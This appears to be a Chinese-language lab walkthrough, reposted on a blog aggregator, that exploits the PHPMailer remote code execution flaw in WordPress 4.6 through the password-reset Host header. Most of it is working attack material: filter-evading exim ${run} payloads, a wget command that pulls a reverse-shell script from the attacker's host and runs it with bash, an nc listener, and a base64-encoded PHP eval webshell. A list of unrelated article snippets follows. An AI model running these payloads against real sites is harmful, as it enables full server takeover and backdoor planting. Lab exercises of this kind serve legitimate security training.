E048-论坛漏洞分析及利用-针对Wordpress论坛插件实现远程代码执行的探索

news2025/1/16 20:12:22

课程名称:

E048-论坛漏洞分析及利用-针对Wordpress论坛插件实现远程代码执行的探索

课程分类:

论坛漏洞分析及利用

实验等级:

中级

任务场景:

【任务场景】

        小王接到磐石公司的邀请,对该公司旗下论坛进行渗透测试,已经发现了该论坛的WordPress 使用 PHPMailer 组件向用户发送邮件,该组件版本为5.2.18,存在远程代码执行漏洞,成功利用该漏洞后,渗透者可进行远程任意代码执行。许多知名的 CMS 例如 Wordpress 等都是使用这个组件来发送邮件,影响不可忽视。

任务分析:

【任务分析】

        在没有找到常见的注入漏洞的情况下,可以从浏览器安装的插件入手,例如WordPress <= 4.7.1,PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,该漏洞是WordPress Core 4.6一个未经授权的RCE漏洞。未经授权的攻击者利用漏洞就能实现远程代码执行,针对目标服务器实现即时访问,最终导致目标的应用服务器完全被攻陷。无需插件或者非标准设置,就能利用该漏洞。攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。进行渗透测试,后门放置,文件管理,资源搜索,命令执行,系统信息收集等多种功能。

预备知识:

【预备知识】

        PHPMailer之前版本5.2.18遭受远程代码执行漏洞,可能导致(远端控制设备)。 mailSend函数在PHPMailer伊斯梅尔运输中,当发送方没有设置属性,可能允许远程攻击者通过额外参数邮件命令,因此执行任意代码通过一个“(反斜杠双引号)制作的地址。出一条GET/POST请求;在服务端,木马针对每条GET/POST请求作出响应,产生一条响应包。

PHPMailer发送邮件时,关键函数的调用关系。

任务实施:

E048-论坛漏洞分析及利用-针对Wordpress论坛插件实现远程代码执行的探索

任务环境说明:

服务器场景:p9_kali-6(用户名:root;密码:toor)

服务器场景操作系统:Kali Linux  192.168.32.123

服务器场景:p9_linux-9(用户名:root;密码:123456)

服务器场景操作系统:Linux  192.168.32.184

---------------------------------------------------------------------------------------------------------------------------------

实战复现:

进入靶机系统,打开命令终端输入命令docker run -i -t --rm -d -p 80:80 medicean/vulapps:w_wordpress_6,启动该漏洞容器,然后使用命令 docker ps列出目前运行的容器,最后使用命令docker exec -it ContainerID /bin/bash进入容器中进行命令行交互。


-i:允许你对容器内的标准输入进行交互

-t:在新容器内指定一个伪终端或终端

–rm:容器退出后立即删除容器。一般情况下,无需指定此参数,指定--rm可以避免浪费空间

medicean/vulapps:w_wordpress_6:以此镜像为基础启动容器

/bin/bash:指定的交互式Shell

        使用渗透机浏览器firefox访问该漏洞的页面,路径位于/wp-login.php?action=lostpassword管理员重置密码页面,此时wordpress调用了phpmailer组件来进行密码重置邮件的发送

        我们进入靶机来看看这个漏洞在wordpress中的漏洞文件class-phpmailer.php,该文件在wp-includes目录下,打开进去查看会发现以下的几行关键代码

        我们发现,phpmailer组件是调用linux系统命令sendmail这个命令来进行邮件发送,命令格式为:sendmail -t -i -fusername@hostname。下面我们继续对其进行审计代码发现:

        发现serverHostname函数通过传入的SERVER_NAME参数来获取主机名,该主机名即HTTP请求报文中的host值,但是SERVER_NAME参数并没有经过任何过滤,因此我们可以进行任意构造拼接,从而产生了系统命令注入漏洞。但是由于wordpress方面以及PHPMailer库方面都会防止攻击者注入空字符(空格或TAB)到sendmail命令中。并且,添加括号引入向sendmail中注入参数的方法已经行不通了,若我们想要调用/bin/touch的时候也会出问题,因为host字段中如果出现/,服务器会拒绝我们的请求。但是我们的思路已经出来了,首先的17目标是通过构造语句绕过系统的检测,然后通过该方法尝试写入Webshell后门文件。

        在构造payload语句之前我们先回到靶机操作系统容器中,注意root@后面应该为该容器的编号,否则无法正常操作,进入容器后,使用命令sendmail -be ‘$tod_log’对系统时间进行查看(-be参数为字符串拓展测试命令,该命令可读取一些变量的数据,例如$tod_log文件可显示系统时间)。

        并且,exim4提供了语法参数可用于我们来构造支持参数(sendmail实际为该软件的软链接,它提供了一些函数用来执行一些命令,如字符串截取函数substr、$run系统调用函数。)使用命令sendmail -be ‘${substr{10}{1}{$tod_log}}’通过substr函数截取命令返回结果的第十个字符开始的首个字符,也就是空格。

        同理我们来截取$_spool_directory文件中的/字符串(spool_directory变量默认存在,并且没有大写字母,因此可以可靠地执行)。

然后我们来测试使用$run函数调用系统命令来执行

目前为止我们提前准备的工作就完成,开始构造我们payload,下面我们尝试在/root目录下创建hack.txt文件

构造的语句为 cc(any -froot@localhost -be ${run{/bin/touch /root/hack.txt}} null)

 cc(any -froot@localhost -be ${run{/bin/touch /root/hack.txt}} null)
空格==>{substr{10}{1}{$tod_log}}

斜杠==>{substr{0}{1}{$spool_directory}}

转换后为 cc(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}root${substr{0}{1}{$spool_directory}}hack.txt}} null)

回到kali渗透机中,访问目标站点http://172.16.1.33,检查网络通信是否正常:

进入后台登录界面wp-login.php?action=lostpassword进行查看:

        回到浏览器访问密码重置页面/wp-login.php?action=lostpassword,输入重置用户名为admin,提交拦截的请求,并将host的值修改为我们构造的payload,然后点击Forward按钮来进行提交。

构造的payload:

cc(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test.txt}} null)

回到靶机的/tmp目录下进行查看,发现test.txt文件在服务器中创建成功:

在apache根目录下编写远程反弹shell脚本 rce,内容:

重启apache服务器

        命令执行后靶机将通过命令wget从渗透机中获取a.txt并输出到/tmp目录下的rce文件中,执行的Payload为(注意修改payload中渗透机ip地址,来获取a.txt文件):

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/rce 172.16.1.40/a.txt}} null) 

转换过来就是:

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}172.16.1.40${substr{0}{1}{$spool_directory}}a.txt}} null)

运行tmp目录下的rce反弹shell脚本

执行反弹shell:aa(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)

aa(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)

在反弹主机上用nc监听1345端口,分别按顺序提交payload即可获取到反弹shell

nc -nvv -l -p 1345

扩展:某些机器不一定有/dev/tcp 目录,因为是WordPress,所以肯定有PHP环境,POC的命令完全可以改为:echo "PD9waHAgQGV2YWwoJF9QT1NUWyd6J10pOz8+Cg==" | base64 -d > /tmp/z.php && php -S 0:7777 -t /tmp,详细操作不再累述。

实验结束,关闭虚拟机。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1104454.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于STM32F103C8T6的BLDC驱动硬件设计

一、STM32F103C8T6简介&#xff1a; STM32F103C8T6是意法半导体公司&#xff08;ST&#xff09;推出的基于Cortex-M3内核的32位微控制。CPU内核&#xff1a;ARM Cortex-M3&#xff1b;CPU最大主频&#xff1a;72MHz &#xff1b;工作电压范围&#xff1a;2V~3.6V &#xff1b;程…

华为OD机试 - 欢乐的周末 - 深度优先搜索dfs算法(Java 2023 B卷 200分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、深度优先搜索dfs五、解题思路六、Java算法源码七、效果展示1、输入2、输出3、说明4、如果修改一下呢&#xff1f;5、来&#xff0c;TFBOYS&#xff0c;试一下&#xff1f; 华为OD机试 2023B卷题库疯狂收录中&#xff0c;…

Vue-router快速入门 是什么 如何跳转 如何传值的问题

3.1 Vue-router是什么 Vue-router:Vue.js 的官方路由为 Vue.js 提供富有表现力、可配置的、方便的路由 官网&#xff1a;https://router.vuejs.org/zh/ 作用&#xff1a; 1.实现vue页面(组件)的跳转 2.可以在跳转的时候携带参数 3.2 Vue3使用Vue-router(静态路由) 基于Vu…

PythonOcc + pyqt 显示——stp step文件导入 部件识别 爆炸图展示

使用 occ 7.4.0 版本,pyqt5, 解决了init 缺少window_handle 的问题,另外添加一个左边的显示窗口 import ctypes import logging import os import sysfrom OCC.Display import OCCViewer from PyQt5 import QtCore, QtGui, QtOpenGL, QtWidgets# check if signal available, …

电脑技巧:PrivaZer电脑清理工具介绍(附下载)

今天给大家推荐一款非常实用的电脑垃圾清理工具&#xff0c;感兴趣的朋友可以下载看看&#xff01; 下载&#xff1a;飞猫盘&#xff5c;文件加速传输工具&#xff5c;云盘&#xff5c;橘猫旗下新概念云平台 一、软件介绍 PrivaZer是一款免费好用的老牌清理软件&#xff0c;除…

4.4 网际控制报文协议ICMP

思维导图&#xff1a; 4.4 网际控制报文协议ICMP - 笔记 --- **定义**: - 网际控制报文协议ICMP(Internet Control Message Protocol)是根据[RFC 792]定义的一种协议。它的主要功能是为了提高IP数据报的转发效率和确保交付的成功率。 **主要功能**: 1. **差错报告**: ICMP允…

LeetCode算法位运算—只出现一次的数字

目录 136. 只出现一次的数字 - 力扣&#xff08;LeetCode&#xff09; 解题思路&#xff1a; 代码&#xff1a; 运行结果&#xff1a; 补充 异或的重要性质 136. 只出现一次的数字 - 力扣&#xff08;LeetCode&#xff09; 给你一个 非空 整数数组 nums &#xff0c;除了某…

5分钟内在Linux上安装.NET Core应用程序

作为开源的忠实粉丝&#xff0c;我喜欢 .NET Core 的跨平台特性。它开启了无限的可能性&#xff0c;从业余爱好项目、实验和概念验证&#xff0c;到在具有高安全性和可扩展性的经济高效基础设施上运行的大规模高负载生产应用程序。我通常从任何云平台提供商那里获得最简单、最便…

页面打印功能,单选框多选框选中后,打印时不显示选中效果

使用antdv&#xff0c;或者element-ui时&#xff0c;如果对页面进行打印&#xff0c;存在单选&#xff0c;多选样式无法显示的情况&#xff0c;在打印预览界面--》更多设置中&#xff0c;背景图形选中就可以了。

linux挂载数据盘后格式化添加挂点

df -h 查看磁盘大小时&#xff0c;未格式化的磁盘无法查看&#xff0c;可以通过 fdisk -l 命令查看 如果这里看不到数据盘&#xff0c;有可能是数据盘没有挂载到服务器上&#xff0c;可以参考阿里云挂载数据盘操作&#xff0c; 已挂载的数据盘进行格式化创建文件系统&#xff…

《算法通关村第一关——链表经典问题之两个链表的第一个公共子节点问题笔记》

《算法通关村第一关——链表经典问题之两个链表的第一个公共子节点问题笔记》 问题描述 输入两个链表&#xff0c;找出他们的第一个公共节点。 例如下面的两个链表 两个链表的头节点都是已知的&#xff0c;相交之后成为一个单链表&#xff0c;但是相交的位置未知&#xff0c…

leaflet地图线段和区域的回显

线段回显 searchLineArr: [], // 存放搜索到的路段或者道路的线段drawSearchLineArr(line) {/* 移除线段 */this.searchLineArr.forEach((polyline) > {polyline.remove();});this.searchLineArr []/* 移除线段 */this.map.panTo(JSON.parse(line)[0]); // 地图视图移动到线…

Java扫雷游戏总结 (小项目)

【尚学堂Java开发扫雷游戏项目】1个半小时做出java扫雷小游戏_java小游戏_Java游戏开发_Java练手项目_java项目实战_java初级项目_哔哩哔哩_bilibili 前言&#xff1a; 记录的是大致的写代码过程为了视觉上更清晰&#xff0c;下面只是放出了完成该功能的核心代码&#xff0c;把…

分享Java NET Python三大技术下AutojsPro7云控代码

引言 有图有真相&#xff0c;那短视频就更是真相了。下面是三大语言的短视频。 Java源码版云控示例&#xff1a; Java源码版云控示例在线视频 Net源码版云控示例&#xff1a; Net源码版云控示例在线视频亚丁号-知识付费平台 支付后可见 扫码付费可见 Python源码版云控示例&…

【容器】Docker(学习笔记)

一、初识Docker 1、Docker概述 Docker 是一个开源的应用容器擎。 诞生于 2013 年初&#xff0c;基于 Go 语言实现&#xff0c;dotcloud 公司出品&#xff08;后改名为Docker Inc&#xff09;。 Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中&a…

【小黑嵌入式系统第三课】嵌入式系统硬件平台(一)——概述、总线、存储设备(RAMROMFLASH)

上一课&#xff1a; 【小黑嵌入式系统第二课】嵌入式系统的概述&#xff08;二&#xff09;——外围设备、处理器、ARM、操作系统 文章目录 一、概述二、总线1. 总线的概念1.1 总线结构1.2 总线类型1.2.1 数据总线1.2.2 程序总线1.2.3 数据地址总线1.2.4 程序地址总线 2. 总线协…

new Object()到底占用几个字节

Java内存模型 对象内存中可以分为三块区域&#xff1a;对象头(Header)&#xff0c;实例数据(Instance Data)和对齐填充(Padding)&#xff0c;以64位操作系统为例(未开启指针压缩的情况)Java对象布局 如下图所示&#xff1a; 其中对象头中的Mark Word中的详细信息在文章synchr…

地下水与饮用水提标处理树脂

随着饮用水和地下水污染物检测技术水平的不断提高&#xff0c;世界各国管理机构跟踪监测的水体污染数目也不断增加。近年来&#xff0c;针对砷、高氯酸盐和铀等水体污染物&#xff0c;新的强化控制措施不断的付诸实施。此外&#xff0c;用氯化物及其衍生物进行水体消毒会带来诸…

leetcode 1143. 最长公共子序列、1035. 不相交的线、53. 最大子数组和

1143. 最长公共子序列 给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长 公共子序列 的长度。如果不存在 公共子序列 &#xff0c;返回 0 。 一个字符串的 子序列 是指这样一个新的字符串&#xff1a;它是由原字符串在不改变字符的相对顺序的情况下删除某些…

【ajax】withCredentials

默认值&#xff1a;false。在获取同域资源时设置 withCredentials 没有影响。 true&#xff1a;在跨域请求时&#xff0c;会携带用户凭证 false&#xff1a;在跨域请求时&#xff0c;不会携带用户凭证&#xff1b;返回的 response 里也会忽略 cookie ajax中的作用 跨域请求时…